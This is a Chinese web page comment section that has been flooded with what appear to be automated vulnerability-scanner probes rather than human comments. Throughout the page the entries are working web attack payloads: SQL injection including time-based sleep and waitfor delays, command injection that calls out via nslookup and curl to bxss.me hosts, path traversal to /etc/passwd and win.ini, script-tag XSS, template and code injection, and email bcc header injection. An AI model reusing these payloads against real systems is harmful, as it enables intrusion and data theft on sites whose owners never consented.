344条评论

• 

  response.write(9955746*9322163)

• 

  '+response.write(9955746*9322163)+'

• 

  "+response.write(9955746*9322163)+"

• 

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

• 

  
  bcc:009247.1297-67207.1297.68eea.20140.2@bxss.me

• 

  to@example.com>
  bcc:009247.1297-67208.1297.68eea.20140.2@bxss.me

• 

  
  <esi:include src="http://bxss.me/rpb.png"/>

• 

  12345'"\'\");|]*{
  <>�''💡

• 

  ${10000337+9999295}

• 

  echo jdhnpc$()\ bxcyhj\nz^xyu||a #' &echo jdhnpc$()\ bxcyhj\nz^xyu||a #|" &echo jdhnpc$()\ bxcyhj\nz^xyu||a #

• 

  )

• 

  &echo sisjww$()\ lkbfhn\nz^xyu||a #' &echo sisjww$()\ lkbfhn\nz^xyu||a #|" &echo sisjww$()\ lkbfhn\nz^xyu||a #

• 

  !(()&&!|*|*|

• 

  |echo drsjva$()\ tvgqpb\nz^xyu||a #' |echo drsjva$()\ tvgqpb\nz^xyu||a #|" |echo drsjva$()\ tvgqpb\nz^xyu||a #

• 

  ^(#$!@#$)(()))******

• 

  (nslookup -q=cname hitnbunudiafff1696.bxss.me||curl hitnbunudiafff1696.bxss.me))

• 

  '.gethostbyname(lc('hitcg'.'cbjcyvdbfbfb3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(68).chr(109).chr(77).'

• 

  ../../../../../../../../../../../../../../etc/passwd

• 

  ".gethostbyname(lc("hitlh"."ubawpueuc3f4a.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(70).chr(113).chr(81)."

• 

  ctime sleep p0 (I30 tp1 Rp2 .

• 

  $(nslookup -q=cname hitofoanlojyc707b1.bxss.me||curl hitofoanlojyc707b1.bxss.me)

• 

  ../../../../../../../../../../../../../../windows/win.ini

• 

  echo jdhnpc$()\ bxcyhj\nz^xyu||a #' &echo jdhnpc$()\ bxcyhj\nz^xyu||a #|" &echo jdhnpc$()\ bxcyhj\nz^xyu||a #

• 

  $(nslookup -q=cname hitofoanlojyc707b1.bxss.me||curl hitofoanlojyc707b1.bxss.me)

• 

  file:///etc/passwd

• 

  &nslookup -q=cname hitibzmurcbdn63f25.bxss.me&'\"`0&nslookup -q=cname hitibzmurcbdn63f25.bxss.me&`'

• 

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• 

  HttP://bxss.me/t/xss.html?%00

• 

  &(nslookup -q=cname hitbucrsxeihg5b1d6.bxss.me||curl hitbucrsxeihg5b1d6.bxss.me)&'\"`0&(nslookup -q=cname hitbucrsxeihg5b1d6.bxss.me||curl hitbucrsxeihg5b1d6.bxss.me)&`'

• 

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• 

  |(nslookup -q=cname hitopphffdzob68f91.bxss.me||curl hitopphffdzob68f91.bxss.me)

• 

  bxss.me/t/xss.html?%00

• 

  Http://bxss.me/t/fit.txt

• 

  `(nslookup -q=cname hitpefwcrfjbz05c48.bxss.me||curl hitpefwcrfjbz05c48.bxss.me)`

• 

  ../
  

• 

  http://bxss.me/t/fit.txt?.jpg

• 

  ;(nslookup -q=cname hitaqatlpaosu6ad3d.bxss.me||curl hitaqatlpaosu6ad3d.bxss.me)|(nslookup -q=cname hitaqatlpaosu6ad3d.bxss.me||curl hitaqatlpaosu6ad3d.bxss.me)&(nslookup -q=cname hitaqatlpaosu6ad3d.bxss.me||curl hitaqatlpaosu6ad3d.bxss.me)

• 

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 

  /etc/shells

• 

  Create

• 

  ';print(md5(31337));$a='

• 

  c:/windows/win.ini

• 

  Create

• 

  ";print(md5(31337));$a="

• 

  bxss.me

• 

  "+"A".concat(70-3).concat(22*4).concat(99).concat(79).concat(114).concat(87)+(require"socket" Socket.gethostbyname("hitbr"+"fjdgyzmw2480d.bxss.me.")[3].to_s)+"

• 

  Create/.

• 

  ${@print(md5(31337))}

• 

  '+'A'.concat(70-3).concat(22*4).concat(98).concat(74).concat(119).concat(83)+(require'socket' Socket.gethostbyname('hitdt'+'ttdyzlntc1b49.bxss.me.')[3].to_s)+'

• 

  ${@print(md5(31337))}\

• 

  '"()

• 

  
  '&&sleep(27*1000)*giyfis&&'

• 

  
  "&&sleep(27*1000)*kcpdtg&&"

• 

  '"

• 

  '.print(md5(31337)).'

• 

  '.print(md5(31337)).'

• 

  xfs.bxss.me

• 

  
  '||sleep(27*1000)*jdoigh||'

• 

  <!--

• 

  
  "||sleep(27*1000)*ksckwc||"

• 

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

• 

  response.write(9668824*9628515)

• 

  
  <esi:include src="http://bxss.me/rpb.png"/>

• 

  response.write(9668824*9628515)

• 

  
  <esi:include src="http://bxss.me/rpb.png"/>

• 

  '+response.write(9668824*9628515)+'

• 

  ${9999231+10000166}

• 

  "+response.write(9668824*9628515)+"

• 

  
  bcc:009247.4-65075.4.ccd09.20140.2@bxss.me

• 

  '+response.write(9668824*9628515)+'

• 

  
  bcc:009247.4-65075.4.ccd09.20140.2@bxss.me

• 

  
  bcc:009247.4-65075.4.ccd09.20140.2@bxss.me

• 

  to@example.com>
  bcc:009247.4-65076.4.ccd09.20140.2@bxss.me

• 

  )

• 

  !(()&&!|*|*|

• 

  12345'"\'\");|]*{
  <>�''💡

• 

  12345'"\'\");|]*{
  <>�''💡

• 

  ^(#$!@#$)(()))******

• 

  echo aqcdxu$()\ gnswin\nz^xyu||a #' &echo aqcdxu$()\ gnswin\nz^xyu||a #|" &echo aqcdxu$()\ gnswin\nz^xyu||a #

• 

  '.gethostbyname(lc('hitji'.'haqqvjif5a8ee.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(88).chr(122).chr(89).'

• 

  ".gethostbyname(lc("hitnq"."vmwvkoij2086f.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(65).chr(108).chr(81)."

• 

  ctime sleep p0 (I30 tp1 Rp2 .

• 

  "+"A".concat(70-3).concat(22*4).concat(110).concat(77).concat(102).concat(88)+(require"socket" Socket.gethostbyname("hiths"+"jgafbzcpc5ff3.bxss.me.")[3].to_s)+"

• 

  '+'A'.concat(70-3).concat(22*4).concat(111).concat(82).concat(118).concat(81)+(require'socket' Socket.gethostbyname('hituh'+'tcwqxpruba910.bxss.me.')[3].to_s)+'

• 

  &echo ylgiym$()\ ckyhyo\nz^xyu||a #' &echo ylgiym$()\ ckyhyo\nz^xyu||a #|" &echo ylgiym$()\ ckyhyo\nz^xyu||a #

• 

  |echo izjwtq$()\ vocybr\nz^xyu||a #' |echo izjwtq$()\ vocybr\nz^xyu||a #|" |echo izjwtq$()\ vocybr\nz^xyu||a #

• 

  xfs.bxss.me

• 

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• 

  Create

• 

  (nslookup -q=cname hitjupgxfcjfw6b461.bxss.me||curl hitjupgxfcjfw6b461.bxss.me))

• 

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• 

  Create

• 

  HttP://bxss.me/t/xss.html?%00

• 

  $(nslookup -q=cname hitibziucuyqg048b9.bxss.me||curl hitibziucuyqg048b9.bxss.me)

• 

  Http://bxss.me/t/fit.txt

• 

  ../../../../../../../../../../../../../../etc/passwd

• 

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 

  &echo ylgiym$()\ ckyhyo\nz^xyu||a #' &echo ylgiym$()\ ckyhyo\nz^xyu||a #|" &echo ylgiym$()\ ckyhyo\nz^xyu||a #

• 

  bxss.me/t/xss.html?%00

• 

  &nslookup -q=cname hitdflvqlgyfx0c269.bxss.me&'\"`0&nslookup -q=cname hitdflvqlgyfx0c269.bxss.me&`'

• 

  http://bxss.me/t/fit.txt?.jpg

• 

  ';print(md5(31337));$a='

• 

  ../../../../../../../../../../../../../../windows/win.ini

• 

  '"

• 

  &(nslookup -q=cname hitsjyhheiznk9b7e6.bxss.me||curl hitsjyhheiznk9b7e6.bxss.me)&'\"`0&(nslookup -q=cname hitsjyhheiznk9b7e6.bxss.me||curl hitsjyhheiznk9b7e6.bxss.me)&`'

• 

  /etc/shells

• 

  file:///etc/passwd

• 

  |(nslookup -q=cname hitkfnrhqjygj71370.bxss.me||curl hitkfnrhqjygj71370.bxss.me)

• 

  c:/windows/win.ini

• 

  <!--

• 

  ";print(md5(31337));$a="

• 

  `(nslookup -q=cname hitdadjlqechy74a11.bxss.me||curl hitdadjlqechy74a11.bxss.me)`

• 

  Create/.

• 

  bxss.me

• 

  Create/.

• 

  ${@print(md5(31337))}

• 

  ../
  

• 

  ;(nslookup -q=cname hitrhckmpvgyi2863c.bxss.me||curl hitrhckmpvgyi2863c.bxss.me)|(nslookup -q=cname hitrhckmpvgyi2863c.bxss.me||curl hitrhckmpvgyi2863c.bxss.me)&(nslookup -q=cname hitrhckmpvgyi2863c.bxss.me||curl hitrhckmpvgyi2863c.bxss.me)

• 

  ${@print(md5(31337))}\

• 

  '"()

• 

  '.print(md5(31337)).'

• 

  
  '&&sleep(27*1000)*yxhnsx&&'

• 

  
  "&&sleep(27*1000)*hkclxo&&"

• 

  
  '||sleep(27*1000)*lklvsa||'

• 

  
  "||sleep(27*1000)*nurivo||"

• 

  Aja1HOcL

• 

  -1 OR 2+770-770-1=0+0+0+1 --

• 

  -1 OR 2+884-884-1=0+0+0+1

• 

  -1' OR 2+613-613-1=0+0+0+1 --

• 

  -1' OR 2+356-356-1=0+0+0+1 or 'LLzxPsp5'='

• 

  -1" OR 2+387-387-1=0+0+0+1 --

• 

  1'"

• 

  1����%2527%2522

• 

  @@LfdKQ

• 

  @@LfdKQ

• 

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

• 

  
  '"()&%<zzz><ScRiPt >4ocK(9103)</ScRiPt>

• 

  '"()&%<zzz><ScRiPt >4ocK(9545)</ScRiPt>

• 

  
  
  <esi:include src="http://bxss.me/rpb.png"/>

• 

  ${9999594+9999226}

• 

  12345'"\'\");|]*{
  <>�''💡

• 

  response.write(9819612*9153515)

• 

  '+response.write(9819612*9153515)+'

• 

  
  9076156

• 

  bfg1039＜s1﹥s2ʺs3ʹhjl1039

• 

  
  
  bcc:009247.4-67857.4.ccd09.20140.2@bxss.me

• 

  to@example.com>
  bcc:009247.4-67858.4.ccd09.20140.2@bxss.me

• 

  "+response.write(9819612*9153515)+"

• 

  )

• 

  !(()&&!|*|*|

• 

  ^(#$!@#$)(()))******

• 

  '.gethostbyname(lc('hityf'.'imoynpdza739e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(88).chr(110).chr(75).'

• 

  ".gethostbyname(lc("hitzd"."xtaftmvrf23c9.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(83).chr(117).chr(65)."

• 

  bfgx6314��z1��z2a�bcxhjl6314

• 

  "+response.write(9819612*9153515)+"

• 

  
  9076156

• 

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• 

  ctime sleep p0 (I30 tp1 Rp2 .

• 

  echo zbgtnl$()\ snipyz\nz^xyu||a #' &echo zbgtnl$()\ snipyz\nz^xyu||a #|" &echo zbgtnl$()\ snipyz\nz^xyu||a #

• 

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• 

  HttP://bxss.me/t/xss.html?%00

• 

  ../../../../../../../../../../../../../../etc/passwd

• 

  &echo ufriud$()\ aahiev\nz^xyu||a #' &echo ufriud$()\ aahiev\nz^xyu||a #|" &echo ufriud$()\ aahiev\nz^xyu||a #

• 

  <%={{={@{#{${dfb}}%>

• 

  Http://bxss.me/t/fit.txt

• 

  bxss.me/t/xss.html?%00

• 

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 

  |echo zxqdtd$()\ wjeebk\nz^xyu||a #' |echo zxqdtd$()\ wjeebk\nz^xyu||a #|" |echo zxqdtd$()\ wjeebk\nz^xyu||a #

• 

  ../../../../../../../../../../../../../../windows/win.ini

• 

  http://bxss.me/t/fit.txt?.jpg

• 

  ';print(md5(31337));$a='

• 

  (nslookup -q=cname hithuouxxkqso10e6c.bxss.me||curl hithuouxxkqso10e6c.bxss.me))

• 

  file:///etc/passwd

• 

  "+"A".concat(70-3).concat(22*4).concat(106).concat(70).concat(117).concat(78)+(require"socket" Socket.gethostbyname("hitnc"+"erwopehwfe2c1.bxss.me.")[3].to_s)+"

• 

  ";print(md5(31337));$a="

• 

  $(nslookup -q=cname hitjewvaatsgsbab63.bxss.me||curl hitjewvaatsgsbab63.bxss.me)

• 

  /etc/shells

• 

  '+'A'.concat(70-3).concat(22*4).concat(104).concat(78).concat(102).concat(74)+(require'socket' Socket.gethostbyname('hitqf'+'zdybihuge181e.bxss.me.')[3].to_s)+'

• 

  ";print(md5(31337));$a="

• 

  '"()

• 

  &nslookup -q=cname hittidtuwqjfr1fa95.bxss.me&'\"`0&nslookup -q=cname hittidtuwqjfr1fa95.bxss.me&`'

• 

  
  
  '&&sleep(27*1000)*qbqjrg&&'

• 

  &(nslookup -q=cname hitkwuojxvluk5c7a1.bxss.me||curl hitkwuojxvluk5c7a1.bxss.me)&'\"`0&(nslookup -q=cname hitkwuojxvluk5c7a1.bxss.me||curl hitkwuojxvluk5c7a1.bxss.me)&`'

• 

  
  
  "&&sleep(27*1000)*iumoxs&&"

• 

  |(nslookup -q=cname hittsodixfjen3a76c.bxss.me||curl hittsodixfjen3a76c.bxss.me)

• 

  
  
  '||sleep(27*1000)*yezaxa||'

• 

  ../
  
  

• 

  xfs.bxss.me

• 

  Create

• 

  
  
  "||sleep(27*1000)*jbnxky||"

• 

  `(nslookup -q=cname hitueifwqquqj8c8e7.bxss.me||curl hitueifwqquqj8c8e7.bxss.me)`

• 

  ${@print(md5(31337))}

• 

  ${@print(md5(31337))}

• 

  c:/windows/win.ini

• 

  Create

• 

  bxss.me

• 

  ${@print(md5(31337))}\

• 

  Create/.

• 

  \<\%\=\{\{\=\{\@\{\#\{\$\{dfb\}\}\%\>

• 

  ;(nslookup -q=cname hitmoelzvzpnyf299c.bxss.me||curl hitmoelzvzpnyf299c.bxss.me)|(nslookup -q=cname hitmoelzvzpnyf299c.bxss.me||curl hitmoelzvzpnyf299c.bxss.me)&(nslookup -q=cname hitmoelzvzpnyf299c.bxss.me||curl hitmoelzvzpnyf299c.bxss.me)

• 

  '.print(md5(31337)).'

• 

  ;(nslookup -q=cname hitmoelzvzpnyf299c.bxss.me||curl hitmoelzvzpnyf299c.bxss.me)|(nslookup -q=cname hitmoelzvzpnyf299c.bxss.me||curl hitmoelzvzpnyf299c.bxss.me)&(nslookup -q=cname hitmoelzvzpnyf299c.bxss.me||curl hitmoelzvzpnyf299c.bxss.me)

• 

  c:/windows/win.ini

• 

  '"

• 

  ../
  
  

• 

  <th:t="${dfb}#foreach

• 

  '"

• 

  '"

• 

  <!--

• 

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• 

  dfb{{98991*97996}}xca

• 

  X27ysMeE

• 

  dfb[[${98991*97996}]]xca

• 

  X27ysMeE

• 

  -1 OR 2+624-624-1=0+0+0+1 --

• 

  dfb__${98991*97996}__::.x

• 

  -1 OR 2+494-494-1=0+0+0+1

• 

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• 

  -1 OR 2+494-494-1=0+0+0+1

• 

  -1' OR 2+766-766-1=0+0+0+1 --

• 

  -1' OR 3+766-766-1=0+0+0+1 --

• 

  
  <ScRiPt >4ocK(9209)</ScRiPt>

• 

  -1' OR 2+766-766-1=0+0+0+1 --

• 

  -1' OR 3*2<(0+5+766-766) --

• 

  -1' OR 3*2>(0+5+766-766) --

• 

  -1' OR 2+30-30-1=0+0+0+1 or 'Ca23JF3X'='

• 

  -1" OR 2+678-678-1=0+0+0+1 --

• 

  1'"

• 

  1'"

• 

  1����%2527%2522

• 

  @@CD19H

• 

  @@CD19H

• 

  /etc/shells

• 

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

• 

  
  <esi:include src="http://bxss.me/rpb.png"/>

• 

  response.write(9526788*9916190)

• 

  '+response.write(9526788*9916190)+'

• 

  ${9999719+9999521}

• 

  "+response.write(9526788*9916190)+"

• 

  12345'"\'\");|]*{
  <>�''💡

• 

  )

• 

  !(()&&!|*|*|

• 

  ^(#$!@#$)(()))******

• 

  '.gethostbyname(lc('hitfe'.'zjbnhgfo2fb5a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(75).chr(107).chr(84).'

• 

  ctime sleep p0 (I30 tp1 Rp2 .

• 

  ".gethostbyname(lc("hitph"."dhhhbpxn3a26f.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(87).chr(118).chr(82)."

• 

  Create

• 

  Create

• 

  Create/.

• 

  "+"A".concat(70-3).concat(22*4).concat(105).concat(87).concat(117).concat(65)+(require"socket" Socket.gethostbyname("hitae"+"rmnifhhb9a1e6.bxss.me.")[3].to_s)+"

• 

  
  bcc:009247.784-66355.784.862fd.20142.2@bxss.me

• 

  to@example.com>
  bcc:009247.784-66359.784.862fd.20142.2@bxss.me

• 

  '+'A'.concat(70-3).concat(22*4).concat(108).concat(67).concat(115).concat(90)+(require'socket' Socket.gethostbyname('hittl'+'vltqfpsd68276.bxss.me.')[3].to_s)+'

• 

  echo ikgmhk$()\ ftrhtm\nz^xyu||a #' &echo ikgmhk$()\ ftrhtm\nz^xyu||a #|" &echo ikgmhk$()\ ftrhtm\nz^xyu||a #

• 

  echo ikgmhk$()\ ftrhtm\nz^xyu||a #' &echo ikgmhk$()\ ftrhtm\nz^xyu||a #|" &echo ikgmhk$()\ ftrhtm\nz^xyu||a #

• 

  '+'A'.concat(70-3).concat(22*4).concat(108).concat(67).concat(115).concat(90)+(require'socket' Socket.gethostbyname('hittl'+'vltqfpsd68276.bxss.me.')[3].to_s)+'

• 

  ../../../../../../../../../../../../../../etc/passwd

• 

  ../../../../../../../../../../../../../../windows/win.ini

• 

  &echo cnwdkq$()\ keeezz\nz^xyu||a #' &echo cnwdkq$()\ keeezz\nz^xyu||a #|" &echo cnwdkq$()\ keeezz\nz^xyu||a #

• 

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 

  &echo cnwdkq$()\ keeezz\nz^xyu||a #' &echo cnwdkq$()\ keeezz\nz^xyu||a #|" &echo cnwdkq$()\ keeezz\nz^xyu||a #

• 

  |echo cxyrwg$()\ auhzgq\nz^xyu||a #' |echo cxyrwg$()\ auhzgq\nz^xyu||a #|" |echo cxyrwg$()\ auhzgq\nz^xyu||a #

• 

  (nslookup -q=cname hitpbeqcapecu1ea5a.bxss.me||curl hitpbeqcapecu1ea5a.bxss.me))

• 

  HttP://bxss.me/t/xss.html?%00

• 

  bxss.me/t/xss.html?%00

• 

  $(nslookup -q=cname hitkaqmnpeuou6f517.bxss.me||curl hitkaqmnpeuou6f517.bxss.me)

• 

  &nslookup -q=cname hitzrozvgzldi8c506.bxss.me&'\"`0&nslookup -q=cname hitzrozvgzldi8c506.bxss.me&`'

• 

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• 

  &(nslookup -q=cname hitlapwcrgoag00a97.bxss.me||curl hitlapwcrgoag00a97.bxss.me)&'\"`0&(nslookup -q=cname hitlapwcrgoag00a97.bxss.me||curl hitlapwcrgoag00a97.bxss.me)&`'

• 

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• 

  |(nslookup -q=cname hitabsapbvyhs18789.bxss.me||curl hitabsapbvyhs18789.bxss.me)

• 

  Http://bxss.me/t/fit.txt

• 

  `(nslookup -q=cname hitpcglpsnuej9aac3.bxss.me||curl hitpcglpsnuej9aac3.bxss.me)`

• 

  ;(nslookup -q=cname hitluynkqhshd03b3c.bxss.me||curl hitluynkqhshd03b3c.bxss.me)|(nslookup -q=cname hitluynkqhshd03b3c.bxss.me||curl hitluynkqhshd03b3c.bxss.me)&(nslookup -q=cname hitluynkqhshd03b3c.bxss.me||curl hitluynkqhshd03b3c.bxss.me)

• 

  xfs.bxss.me

• 

  file:///etc/passwd

• 

  ../
  

• 

  '"

• 

  ';print(md5(31337));$a='

• 

  <!--

• 

  ";print(md5(31337));$a="

• 

  ${@print(md5(31337))}

• 

  http://bxss.me/t/fit.txt?.jpg

• 

  ${@print(md5(31337))}\

• 

  '.print(md5(31337)).'

• 

  '"()

• 

  
  '&&sleep(27*1000)*yneoeq&&'

• 

  
  '&&sleep((4*3)*1000)*yneoeq&&'

• 

  
  "&&sleep(27*1000)*ahaefo&&"

• 

  
  '||sleep(27*1000)*loyrbg||'

• 

  
  "||sleep(27*1000)*vkvdtp||"

• 

  
  '"()&%<zzz><ScRiPt >Lgkq(9116)</ScRiPt>

• 

  '"()&%<zzz><ScRiPt >Lgkq(9012)</ScRiPt>

• 

  
  9364533

• 

  bfg5735＜s1﹥s2ʺs3ʹhjl5735

• 

  bfgx10716��z1��z2a�bcxhjl10716

• 

  <%={{={@{#{${dfb}}%>

• 

  \<\%\=\{\{\=\{\@\{\#\{\$\{dfb\}\}\%\>

• 

  <%={{={@{#{${dfb}}%>

• 

  <%={{={@{#{${dfb}}%>

• 

  <th:t="${dfb}#foreach

• 

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• 

  dfb{{98991*97996}}xca

• 

  dfb[[${98991*97996}]]xca

• 

  H3Clf6QN

• 

  -1 OR 2+421-421-1=0+0+0+1 --

• 

  -1 OR 2+120-120-1=0+0+0+1

• 

  -1' OR 2+842-842-1=0+0+0+1 --

• 

  -1' OR 2+806-806-1=0+0+0+1 or 'YWUnrqgZ'='

• 

  -1" OR 2+789-789-1=0+0+0+1 --

• 

  if(now()=sysdate(),sleep(15),0)

• 

  dfb__${98991*97996}__::.x

• 

  0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

• 

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• 

  0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

• 

  
  <ScRiPt >Lgkq(9183)</ScRiPt>

• 

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 

  -1; waitfor delay '0:0:15' --

• 

  &echo cnwdkq$()\ keeezz\nz^xyu||a #' &echo cnwdkq$()\ keeezz\nz^xyu||a #|" &echo cnwdkq$()\ keeezz\nz^xyu||a #

• 

  -1); waitfor delay '0:0:15' --

• 

  -1; waitfor delay '0:0:10' --

• 

  -1; waitfor delay '0:0:15' --

• 

  
  <ScRiPt >Lgkq(9183)</ScRiPt>

• 

  dfb__${98991*97996}__::.x

• 

  dfb{{98991*97996}}xca

• 

  
  '"()&%<zzz><ScRiPt >Lgkq(9116)</ScRiPt>

• 

  
  '&&sleep((4*3)*1000)*yneoeq&&'

• 

  /etc/shells

• 

  /etc/shells

• 

  '"()

• 

  /etc/shells

• 

  ${@print(md5(31337))}\

• 

  http://bxss.me/t/fit.txt?.jpg

• 

  http://bxss.me/t/fit.txt?.jpg

• 

  ';print(md5(31337));$a='

• 

  file:///etc/passwd

• 

  xfs.bxss.me

• 

  file:///etc/passwd

• 

  xfs.bxss.me

• 

  
  bcc:009247.784-66355.784.862fd.20142.2@bxss.me

• 

  
  bcc:009247.784-66355.784.862fd.20142.2@bxss.me

• 

  "+response.write(9526788*9916190)+"

• 

  response.write(9526788*9916190)

• 

  response.write(9526788*9916190)

写评论

登录 sign in 参与讨论.

用昵称立刻参与讨论